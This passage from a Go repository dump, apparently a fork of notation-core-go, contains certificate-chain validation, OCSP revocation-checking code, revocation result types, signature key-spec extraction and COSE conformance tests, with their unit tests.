nil { 42 | return result.InvalidChainError{Err: err} 43 | } 44 | default: 45 | return result.InvalidChainError{Err: fmt.Errorf("unsupported certificate chain purpose %v", certChainPurpose)} 46 | } 47 | return nil 48 | } 49 | -------------------------------------------------------------------------------- /revocation/internal/x509util/validate_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package x509util 15 | 16 | import ( 17 | "crypto/x509" 18 | "testing" 19 | 20 | "github.com/sugarylentil/notation-core-go/revocation/purpose" 21 | "github.com/sugarylentil/notation-core-go/testhelper" 22 | ) 23 | 24 | func TestValidate(t *testing.T) { 25 | t.Run("unsupported_certificate_chain_purpose", func(t *testing.T) { 26 | certChain := []*x509.Certificate{} 27 | certChainPurpose := purpose.Purpose(-1) 28 | err := ValidateChain(certChain, certChainPurpose) 29 | if err == nil { 30 | t.Errorf("Validate() failed, expected error, got nil") 31 | } 32 | }) 33 | 34 | t.Run("invalid code signing certificate chain", func(t *testing.T) { 35 | certChain := []*x509.Certificate{} 36 | certChainPurpose := purpose.CodeSigning 37 | err := ValidateChain(certChain, certChainPurpose) 38 | if err == nil { 39 | t.Errorf("Validate() failed, expected error, got nil") 40 | } 41 | }) 42 | 43 | t.Run("invalid timestamping certificate chain", func(t *testing.T) { 44 | certChain := []*x509.Certificate{} 45 | certChainPurpose := purpose.Timestamping 46 | err := ValidateChain(certChain, certChainPurpose) 47 | if err == nil { 48 | t.Errorf("Validate() failed, expected error, got nil") 49 | } 50 | }) 51 | 52 | t.Run("valid code signing certificate chain", func(t *testing.T) { 53 | certChain := testhelper.GetRevokableRSAChain(2) 54 | certChainPurpose := purpose.CodeSigning 55 | err := ValidateChain([]*x509.Certificate{certChain[0].Cert, certChain[1].Cert}, certChainPurpose) 56 | if err != nil { 57 | t.Errorf("Validate() failed, expected nil, got %v", err) 58 | } 59 | }) 60 | } 61 | -------------------------------------------------------------------------------- /revocation/ocsp/errors.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package ocsp 15 | 16 | import "github.com/sugarylentil/notation-core-go/revocation/internal/ocsp" 17 | 18 | type ( 19 | // RevokedError is returned when the certificate's status for OCSP is 20 | // ocsp.Revoked 21 | RevokedError = ocsp.RevokedError 22 | 23 | // UnknownStatusError is returned when the certificate's status for OCSP is 24 | // ocsp.Unknown 25 | UnknownStatusError = ocsp.UnknownStatusError 26 | 27 | // GenericError is returned when there is an error during the OCSP revocation 28 | // check, not necessarily a revocation 29 | GenericError = ocsp.GenericError 30 | 31 | // NoServerError is returned when the OCSPServer is not specified. 32 | NoServerError = ocsp.NoServerError 33 | 34 | // TimeoutError is returned when the connection attempt to an OCSP URL exceeds 35 | // the specified threshold 36 | TimeoutError = ocsp.TimeoutError 37 | ) 38 | -------------------------------------------------------------------------------- /revocation/ocsp/ocsp.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | // Package ocsp provides methods for checking the OCSP revocation status of a 15 | // certificate chain, as well as errors related to these checks 16 | package ocsp 17 | 18 | import ( 19 | "context" 20 | "crypto/x509" 21 | "errors" 22 | "net/http" 23 | "sync" 24 | "time" 25 | 26 | "github.com/sugarylentil/notation-core-go/revocation/internal/ocsp" 27 | "github.com/sugarylentil/notation-core-go/revocation/internal/x509util" 28 | "github.com/sugarylentil/notation-core-go/revocation/purpose" 29 | "github.com/sugarylentil/notation-core-go/revocation/result" 30 | ) 31 | 32 | // Options specifies values that are needed to check OCSP revocation 33 | type Options struct { 34 | CertChain []*x509.Certificate 35 | 36 | // CertChainPurpose is the purpose of the certificate chain. Supported 37 | // values are CodeSigning and Timestamping. 38 | // When not provided, the default value is CodeSigning. 39 | CertChainPurpose purpose.Purpose 40 | SigningTime time.Time 41 | HTTPClient *http.Client 42 | } 43 | 44 | // CheckStatus checks OCSP based on the passed options and returns an array of 45 | // result.CertRevocationResult objects that contains the results and error. The 46 | // length of this array will always be equal to the length of the certificate 47 | // chain. 48 | func CheckStatus(opts Options) ([]*result.CertRevocationResult, error) { 49 | if len(opts.CertChain) == 0 { 50 | return nil, result.InvalidChainError{Err: errors.New("chain does not contain any certificates")} 51 | } 52 | 53 | if err := x509util.ValidateChain(opts.CertChain, opts.CertChainPurpose); err != nil { 54 | return nil, err 55 | } 56 | 57 | certResults := make([]*result.CertRevocationResult, len(opts.CertChain)) 58 | certCheckStatusOptions := ocsp.CertCheckStatusOptions{ 59 | SigningTime: opts.SigningTime, 60 | HTTPClient: opts.HTTPClient, 61 | } 62 | 63 | // Check status for each cert in cert chain 64 | var wg sync.WaitGroup 65 | ctx := context.Background() 66 | for i, cert := range opts.CertChain[:len(opts.CertChain)-1] { 67 | wg.Add(1) 68 | // Assume cert chain is accurate and next cert in chain is the issuer 69 | go func(i int, cert *x509.Certificate) { 70 | defer wg.Done() 71 | certResults[i] = ocsp.CertCheckStatus(ctx, cert, opts.CertChain[i+1], certCheckStatusOptions) 72 | }(i, cert) 73 | } 74 | // Last is root cert, which will never be revoked by OCSP 75 | certResults[len(opts.CertChain)-1] = &result.CertRevocationResult{ 76 | Result: result.ResultNonRevokable, 77 | ServerResults: []*result.ServerResult{{ 78 | Result: result.ResultNonRevokable, 79 | Error: nil, 80 | }}, 81 | } 82 | 83 | wg.Wait() 84 | return certResults, nil 85 | } 86 | -------------------------------------------------------------------------------- /revocation/purpose/purpose.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | // Package purpose provides purposes of the certificate chain whose revocation 15 | // status is checked 16 | package purpose 17 | 18 | // Purpose is an enum for purpose of the certificate chain whose revocation 19 | // status is checked 20 | type Purpose int 21 | 22 | const ( 23 | // CodeSigning means the certificate chain is a code signing chain 24 | CodeSigning Purpose = iota 25 | 26 | // Timestamping means the certificate chain is a timestamping chain 27 | Timestamping 28 | ) 29 | -------------------------------------------------------------------------------- /revocation/result/errors.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | // Package result provides general objects that are used across revocation 15 | package result 16 | 17 | import ( 18 | "fmt" 19 | ) 20 | 21 | // InvalidChainError is returned when the certificate chain does not meet the 22 | // requirements for a valid certificate chain 23 | type InvalidChainError struct { 24 | Err error 25 | } 26 | 27 | func (e InvalidChainError) Error() string { 28 | msg := "invalid chain: expected chain to be correct and complete" 29 | if e.Err != nil { 30 | return fmt.Sprintf("%s: %v", msg, e.Err) 31 | } 32 | return msg 33 | } 34 | -------------------------------------------------------------------------------- /revocation/result/errors_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package result 15 | 16 | import ( 17 | "errors" 18 | "testing" 19 | ) 20 | 21 | func TestInvalidChainError(t *testing.T) { 22 | t.Run("without_inner_error", func(t *testing.T) { 23 | err := &InvalidChainError{} 24 | expectedMsg := "invalid chain: expected chain to be correct and complete" 25 | 26 | if err.Error() != expectedMsg { 27 | t.Errorf("Expected %v but got %v", expectedMsg, err.Error()) 28 | } 29 | }) 30 | 31 | t.Run("inner_error", func(t *testing.T) { 32 | err := &InvalidChainError{Err: errors.New("inner error")} 33 | expectedMsg := "invalid chain: expected chain to be correct and complete: inner error" 34 | 35 | if err.Error() != expectedMsg { 36 | t.Errorf("Expected %v but got %v", expectedMsg, err.Error()) 37 | } 38 | }) 39 | } 40 | -------------------------------------------------------------------------------- /revocation/result/results.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | // Package result provides general objects that are used across revocation 15 | package result 16 | 17 | import "strconv" 18 | 19 | // Result is a type of enumerated value to help characterize revocation result. 20 | // It can be OK, Unknown, NonRevokable, or Revoked 21 | type Result int 22 | 23 | const ( 24 | // ResultUnknown is a Result that indicates that some error other than a 25 | // revocation was encountered during the revocation check. 26 | ResultUnknown Result = iota 27 | 28 | // ResultOK is a Result that indicates that the revocation check resulted in 29 | // no important errors. 30 | ResultOK 31 | 32 | // ResultNonRevokable is a Result that indicates that the certificate cannot 33 | // be checked for revocation. This may be due to the absence of OCSP servers 34 | // or CRL distribution points, or because the certificate is a root 35 | // certificate. 36 | ResultNonRevokable 37 | 38 | // ResultRevoked is a Result that indicates that at least one certificate was 39 | // revoked when performing a revocation check on the certificate chain. 40 | ResultRevoked 41 | ) 42 | 43 | // String provides a conversion from a Result to a string 44 | func (r Result) String() string { 45 | switch r { 46 | case ResultOK: 47 | return "OK" 48 | case ResultNonRevokable: 49 | return "NonRevokable" 50 | case ResultUnknown: 51 | return "Unknown" 52 | case ResultRevoked: 53 | return "Revoked" 54 | default: 55 | return "invalid result with value " + strconv.Itoa(int(r)) 56 | } 57 | } 58 | 59 | // RevocationMethod defines the method used to check the revocation status of a 60 | // certificate. 61 | type RevocationMethod int 62 | 63 | const ( 64 | // RevocationMethodUnknown is used for root certificates or when the method 65 | // used to check the revocation status of a certificate is unknown. 66 | RevocationMethodUnknown RevocationMethod = iota 67 | 68 | // RevocationMethodOCSP represents OCSP as the method used to check the 69 | // revocation status of a certificate. 70 | RevocationMethodOCSP 71 | 72 | // RevocationMethodCRL represents CRL as the method used to check the 73 | // revocation status of a certificate. 74 | RevocationMethodCRL 75 | 76 | // RevocationMethodOCSPFallbackCRL represents OCSP check with unknown error 77 | // fallback to CRL as the method used to check the revocation status of a 78 | // certificate. 79 | RevocationMethodOCSPFallbackCRL 80 | ) 81 | 82 | // String provides a conversion from a Method to a string 83 | func (m RevocationMethod) String() string { 84 | switch m { 85 | case RevocationMethodOCSP: 86 | return "OCSP" 87 | case RevocationMethodCRL: 88 | return "CRL" 89 | case RevocationMethodOCSPFallbackCRL: 90 | return "OCSPFallbackCRL" 91 | default: 92 | return "Unknown" 93 | } 94 | } 95 | 96 | // ServerResult encapsulates the OCSP result for a single server or the CRL 97 | // result for a single CRL URI for a certificate in the chain 98 | type ServerResult struct { 99 | // Result of revocation for this server (Unknown if there is an error which 100 | // prevents the retrieval of a valid status) 101 | Result Result 102 | 103 | // Server is the URI associated with this result. If no server is associated 104 | // with the result (e.g. it is a root certificate or no OCSPServers are 105 | // specified), then this will be an empty string ("") 106 | Server string 107 | 108 | // Error is set if there is an error associated with the revocation check 109 | // to this server 110 | Error error 111 | 112 | // RevocationMethod is the method used to check the revocation status of the 113 | // certificate, including RevocationMethodUnknown, RevocationMethodOCSP, 114 | // RevocationMethodCRL 115 | RevocationMethod RevocationMethod 116 | } 117 | 118 | // NewServerResult creates a ServerResult object from its individual parts: a 119 | // Result, a string for the server, and an error 120 | func NewServerResult(result Result, server string, err error) *ServerResult { 121 | return &ServerResult{ 122 | Result: result, 123 | Server: server, 124 | Error: err, 125 | } 126 | } 127 | 128 | // CertRevocationResult encapsulates the result for a single certificate in the 129 | // chain as well as the results from individual servers associated with this 130 | // certificate 131 | type CertRevocationResult struct { 132 | // Result of revocation for a specific certificate in the chain. 133 | Result Result 134 | 135 | // ServerResults is an array of results for each server associated with the 136 | // certificate. 137 | // 138 | // When RevocationMethod is MethodOCSP, the length will be 139 | // either 1 or the number of OCSPServers for the certificate. 140 | // If the length is 1, then a valid status was retrieved. Only 141 | // this server result is contained. Any errors for other servers are 142 | // discarded in favor of this valid response. 143 | // Otherwise, every server specified had some error that prevented the 144 | // status from being retrieved. These are all contained here for evaluation. 145 | // 146 | // When RevocationMethod is MethodCRL, the length will be the number of 147 | // CRL distribution points' URIs checked. If the result is Revoked, or 148 | // there is an error, the length will be 1. 149 | // 150 | // When RevocationMethod is MethodOCSPFallbackCRL, the length 151 | // will be the sum of the previous two cases. The CRL result will be 152 | // appended after the OCSP results. 153 | ServerResults []*ServerResult 154 | 155 | // RevocationMethod is the method used to check the revocation status of the 156 | // certificate, including RevocationMethodUnknown, RevocationMethodOCSP, 157 | // RevocationMethodCRL and RevocationMethodOCSPFallbackCRL 158 | RevocationMethod RevocationMethod 159 | } 160 | -------------------------------------------------------------------------------- /revocation/result/results_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package result 15 | 16 | import ( 17 | "errors" 18 | "testing" 19 | ) 20 | 21 | func TestResultString(t *testing.T) { 22 | t.Run("ok", func(t *testing.T) { 23 | if ResultOK.String() != "OK" { 24 | t.Errorf("Expected %s but got %s", "OK", ResultOK.String()) 25 | } 26 | }) 27 | t.Run("non-revokable", func(t *testing.T) { 28 | if ResultNonRevokable.String() != "NonRevokable" { 29 | t.Errorf("Expected %s but got %s", "NonRevokable", ResultNonRevokable.String()) 30 | } 31 | }) 32 | t.Run("unknown", func(t *testing.T) { 33 | if ResultUnknown.String() != "Unknown" { 34 | t.Errorf("Expected %s but got %s", "Unknown", ResultUnknown.String()) 35 | } 36 | }) 37 | t.Run("revoked", func(t *testing.T) { 38 | if ResultRevoked.String() != "Revoked" { 39 | t.Errorf("Expected %s but got %s", "Revoked", ResultRevoked.String()) 40 | } 41 | }) 42 | t.Run("invalid result", func(t *testing.T) { 43 | if Result(4).String() != "invalid result with value 4" { 44 | t.Errorf("Expected %s but got %s", "invalid result with value 4", Result(4).String()) 45 | } 46 | }) 47 | } 48 | 49 | func TestMethodString(t *testing.T) { 50 | tests := []struct { 51 | method RevocationMethod 52 | expected string 53 | }{ 54 | {RevocationMethodOCSP, "OCSP"}, 55 | {RevocationMethodCRL, "CRL"}, 56 | {RevocationMethodOCSPFallbackCRL, "OCSPFallbackCRL"}, 57 | {RevocationMethod(999), "Unknown"}, // Test for default case 58 | } 59 | 60 | for _, tt := range tests { 61 | t.Run(tt.expected, func(t *testing.T) { 62 | result := tt.method.String() 63 | if result != tt.expected { 64 | t.Errorf("expected %s, got %s", tt.expected, result) 65 | } 66 | }) 67 | } 68 | } 69 | 70 | func TestNewServerResult(t *testing.T) { 71 | expectedR := &ServerResult{ 72 | Result: ResultNonRevokable, 73 | Server: "test server", 74 | Error: errors.New("test error"), 75 | } 76 | r := NewServerResult(expectedR.Result, expectedR.Server, expectedR.Error) 77 | if r.Result != expectedR.Result { 78 | t.Errorf("Expected %s but got %s", expectedR.Result, r.Result) 79 | } 80 | if r.Server != expectedR.Server { 81 | t.Errorf("Expected %s but got %s", expectedR.Server, r.Server) 82 | } 83 | if r.Error != expectedR.Error { 84 | t.Errorf("Expected %v but got %v", expectedR.Error, r.Error) 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /signature/algorithm.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package signature 15 | 16 | import ( 17 | "crypto/x509" 18 | 19 | "github.com/sugarylentil/notation-core-go/internal/algorithm" 20 | ) 21 | 22 | // Algorithm defines the signature algorithm. 23 | type Algorithm = algorithm.Algorithm 24 | 25 | // Signature algorithms supported by this library. 26 | // 27 | // Reference: https://github.com/notaryproject/notaryproject/blob/main/specs/signature-specification.md#algorithm-selection 28 | const ( 29 | AlgorithmPS256 = algorithm.AlgorithmPS256 // RSASSA-PSS with SHA-256 30 | AlgorithmPS384 = algorithm.AlgorithmPS384 // RSASSA-PSS with SHA-384 31 | AlgorithmPS512 = algorithm.AlgorithmPS512 // RSASSA-PSS with SHA-512 32 | AlgorithmES256 = algorithm.AlgorithmES256 // ECDSA on secp256r1 with SHA-256 33 | AlgorithmES384 = algorithm.AlgorithmES384 // ECDSA on secp384r1 with SHA-384 34 | AlgorithmES512 = algorithm.AlgorithmES512 // ECDSA on secp521r1 with SHA-512 35 | ) 36 | 37 | // KeyType defines the key type. 38 | type KeyType = algorithm.KeyType 39 | 40 | const ( 41 | KeyTypeRSA = algorithm.KeyTypeRSA // KeyType RSA 42 | KeyTypeEC = algorithm.KeyTypeEC // KeyType EC 43 | ) 44 | 45 | // KeySpec defines a key type and size. 46 | type KeySpec = algorithm.KeySpec 47 | 48 | // ExtractKeySpec extracts KeySpec from the signing certificate. 49 | func ExtractKeySpec(signingCert *x509.Certificate) (KeySpec, error) { 50 | ks, err := algorithm.ExtractKeySpec(signingCert) 51 | if err != nil { 52 | return KeySpec{}, &UnsupportedSigningKeyError{ 53 | Msg: err.Error(), 54 | } 55 | } 56 | return ks, nil 57 | } 58 | -------------------------------------------------------------------------------- /signature/algorithm_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package signature 15 | 16 | import ( 17 | "crypto/ecdsa" 18 | "crypto/ed25519" 19 | "crypto/elliptic" 20 | "crypto/rand" 21 | "crypto/rsa" 22 | "crypto/x509" 23 | "reflect" 24 | "strconv" 25 | "testing" 26 | 27 | "github.com/sugarylentil/notation-core-go/testhelper" 28 | ) 29 | 30 | func TestExtractKeySpec(t *testing.T) { 31 | type testCase struct { 32 | name string 33 | cert *x509.Certificate 34 | expect KeySpec 35 | expectErr bool 36 | } 37 | // invalid cases 38 | tests := []testCase{ 39 | { 40 | name: "RSA wrong size", 41 | cert: testhelper.GetUnsupportedRSACert().Cert, 42 | expect: KeySpec{}, 43 | expectErr: true, 44 | }, 45 | { 46 | name: "ECDSA wrong size", 47 | cert: testhelper.GetUnsupportedECCert().Cert, 48 | expect: KeySpec{}, 49 | expectErr: true, 50 | }, 51 | { 52 | name: "Unsupported type", 53 | cert: &x509.Certificate{ 54 | PublicKey: ed25519.PublicKey{}, 55 | }, 56 | expect: KeySpec{}, 57 | expectErr: true, 58 | }, 59 | } 60 | 61 | // append valid RSA cases 62 | for _, k := range []int{2048, 3072, 4096} { 63 | rsaRoot := testhelper.GetRSARootCertificate() 64 | priv, _ := rsa.GenerateKey(rand.Reader, k) 65 | 66 | certTuple := testhelper.GetRSACertTupleWithPK( 67 | priv, 68 | "Test RSA_"+strconv.Itoa(priv.Size()), 69 | &rsaRoot, 70 | ) 71 | tests = append(tests, testCase{ 72 | name: "RSA " + strconv.Itoa(k), 73 | cert: certTuple.Cert, 74 | expect: KeySpec{ 75 | Type: KeyTypeRSA, 76 | Size: k, 77 | }, 78 | expectErr: false, 79 | }) 80 | } 81 | 82 | // append valid EDCSA cases 83 | for _, curve := range []elliptic.Curve{elliptic.P256(), elliptic.P384(), elliptic.P521()} { 84 | ecdsaRoot := testhelper.GetECRootCertificate() 85 | priv, _ := ecdsa.GenerateKey(curve, rand.Reader) 86 | bitSize := priv.Params().BitSize 87 | 88 | certTuple := testhelper.GetECDSACertTupleWithPK( 89 | priv, 90 | "Test EC_"+strconv.Itoa(bitSize), 91 | &ecdsaRoot, 92 | ) 93 | tests = append(tests, testCase{ 94 | name: "EC " + strconv.Itoa(bitSize), 95 | cert: certTuple.Cert, 96 | expect: KeySpec{ 97 | Type: KeyTypeEC, 98 | Size: bitSize, 99 | }, 100 | expectErr: false, 101 | }) 102 | } 103 | 104 | for _, tt := range tests { 105 | t.Run(tt.name, func(t *testing.T) { 106 | keySpec, err := ExtractKeySpec(tt.cert) 107 | 108 | if (err != nil) != tt.expectErr { 109 | t.Errorf("error = %v, expectErr = %v", err, tt.expectErr) 110 | } 111 | if !reflect.DeepEqual(keySpec, tt.expect) { 112 | t.Errorf("expect %+v, got %+v", tt.expect, keySpec) 113 | } 114 | }) 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /signature/cose/conformance_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package cose 15 | 16 | import ( 17 | "bytes" 18 | "crypto/x509" 19 | "encoding/hex" 20 | "encoding/json" 21 | "os" 22 | "reflect" 23 | "sort" 24 | "testing" 25 | "time" 26 | 27 | "github.com/sugarylentil/notation-core-go/signature" 28 | "github.com/sugarylentil/notation-core-go/testhelper" 29 | "github.com/veraison/go-cose" 30 | ) 31 | 32 | type sign1 struct { 33 | Payload string `json:"payload"` 34 | ProtectedHeaders *cborStruct `json:"protectedHeaders"` 35 | UnprotectedHeaders *cborStruct `json:"unprotectedHeaders"` 36 | Output cborStruct `json:"expectedOutput"` 37 | } 38 | 39 | type cborStruct struct { 40 | CBORHex string `json:"cborHex"` 41 | CBORDiag string `json:"cborDiag"` 42 | } 43 | 44 | func TestConformance(t *testing.T) { 45 | data, err := os.ReadFile("testdata/conformance.json") 46 | if err != nil { 47 | t.Fatalf("os.ReadFile() failed. Error = %s", err) 48 | } 49 | var sign1 sign1 50 | err = json.Unmarshal(data, &sign1) 51 | if err != nil { 52 | t.Fatalf("json.Unmarshal() failed. Error = %s", err) 53 | } 54 | testSign(t, &sign1) 55 | testVerify(t, &sign1) 56 | } 57 | 58 | // testSign does conformance check on COSE_Sign1_Tagged 59 | func testSign(t *testing.T, sign1 *sign1) { 60 | signRequest, err := getSignReq() 61 | if err != nil { 62 | t.Fatalf("getSignReq() failed. Error = %s", err) 63 | } 64 | env := createNewEnv(nil) 65 | encoded, err := env.Sign(signRequest) 66 | if err != nil || len(encoded) == 0 { 67 | t.Fatalf("Sign() faild. Error = %s", err) 68 | } 69 | newMsg := generateSign1(env.base) 70 | got, err := newMsg.MarshalCBOR() 71 | if err != nil { 72 | t.Fatalf("MarshalCBOR() faild. Error = %s", err) 73 | } 74 | 75 | // sign1.Output.CBORHex is a manually computed CBOR hex used as ground 76 | // truth in the conformance test. 77 | want := hexToBytes(sign1.Output.CBORHex) 78 | if !bytes.Equal(want, got) { 79 | t.Fatalf("unexpected output:\nwant: %x\n got: %x", want, got) 80 | } 81 | 82 | // Verify using the same envelope struct 83 | // (Verify with UnmarshalCBOR is covered in the testVerify() part) 84 | _, err = env.Verify() 85 | if err != nil { 86 | t.Fatalf("Verify() failed. Error = %s", err) 87 | } 88 | } 89 | 90 | // testVerify does conformance check by decoding COSE_Sign1_Tagged object 91 | // into Sign1Message 92 | func testVerify(t *testing.T, sign1 *sign1) { 93 | signRequest, err := getSignReq() 94 | if err != nil { 95 | t.Fatalf("getSignReq() failed. Error = %s", err) 96 | } 97 | env := createNewEnv(nil) 98 | encoded, err := env.Sign(signRequest) 99 | if err != nil || len(encoded) == 0 { 100 | t.Fatalf("Sign() faild. Error = %s", err) 101 | } 102 | //Verify after UnmarshalCBOR 103 | var msg cose.Sign1Message 104 | // sign1.Output.CBORHex is a manually computed CBOR hex used as ground 105 | // truth in the conformance test. 106 | if err := msg.UnmarshalCBOR(hexToBytes(sign1.Output.CBORHex)); err != nil { 107 | t.Fatalf("msg.UnmarshalCBOR() failed. Error = %s", err) 108 | } 109 | 110 | certs := []*x509.Certificate{testhelper.GetRSALeafCertificate().Cert, testhelper.GetRSARootCertificate().Cert} 111 | certChain := make([]any, len(certs)) 112 | for i, c := range certs { 113 | certChain[i] = c.Raw 114 | } 115 | msg.Headers.Unprotected[cose.HeaderLabelX5Chain] = certChain 116 | msg.Signature = env.base.Signature 117 | 118 | newEnv := createNewEnv(&msg) 119 | content, err := newEnv.Verify() 120 | if err != nil { 121 | t.Fatalf("Verify() failed. Error = %s", err) 122 | } 123 | verifyPayload(&content.Payload, signRequest, t) 124 | verifySignerInfo(&content.SignerInfo, signRequest, t) 125 | } 126 | 127 | func getSignReq() (*signature.SignRequest, error) { 128 | certs := []*x509.Certificate{testhelper.GetRSALeafCertificate().Cert, testhelper.GetRSARootCertificate().Cert} 129 | signer, err := signature.NewLocalSigner(certs, testhelper.GetRSALeafCertificate().PrivateKey) 130 | if err != nil { 131 | return &signature.SignRequest{}, err 132 | } 133 | signRequest := &signature.SignRequest{ 134 | Payload: signature.Payload{ 135 | ContentType: "application/vnd.cncf.notary.payload.v1+json", 136 | Content: []byte("hello COSE"), 137 | }, 138 | Signer: signer, 139 | SigningTime: time.Unix(1661321924, 0), 140 | Expiry: time.Unix(1661408324, 0), 141 | ExtendedSignedAttributes: []signature.Attribute{ 142 | {Key: "signedCritKey1", Value: "signedCritValue1", Critical: true}, 143 | {Key: "signedKey1", Value: "signedValue1", Critical: false}, 144 | }, 145 | SigningAgent: "NotationConformanceTest/1.0.0", 146 | SigningScheme: "notary.x509", 147 | } 148 | return signRequest, nil 149 | } 150 | 151 | func hexToBytes(s string) []byte { 152 | b, err := hex.DecodeString(s) 153 | if err != nil { 154 | panic(err) 155 | } 156 | return b 157 | } 158 | 159 | func verifySignerInfo(signInfo *signature.SignerInfo, request *signature.SignRequest, t *testing.T) { 160 | if request.SigningAgent != signInfo.UnsignedAttributes.SigningAgent { 161 | t.Fatalf("SigningAgent: expected value %q but found %q", request.SigningAgent, signInfo.UnsignedAttributes.SigningAgent) 162 | } 163 | 164 | if request.SigningTime.Format(time.RFC3339) != signInfo.SignedAttributes.SigningTime.Format(time.RFC3339) { 165 | t.Fatalf("SigningTime: expected value %q but found %q", request.SigningTime, signInfo.SignedAttributes.SigningTime) 166 | } 167 | 168 | if request.Expiry.Format(time.RFC3339) != signInfo.SignedAttributes.Expiry.Format(time.RFC3339) { 169 | t.Fatalf("Expiry: expected value %q but found %q", request.SigningTime, signInfo.SignedAttributes.Expiry) 170 | } 171 | 172 | if !areAttrEqual(request.ExtendedSignedAttributes, 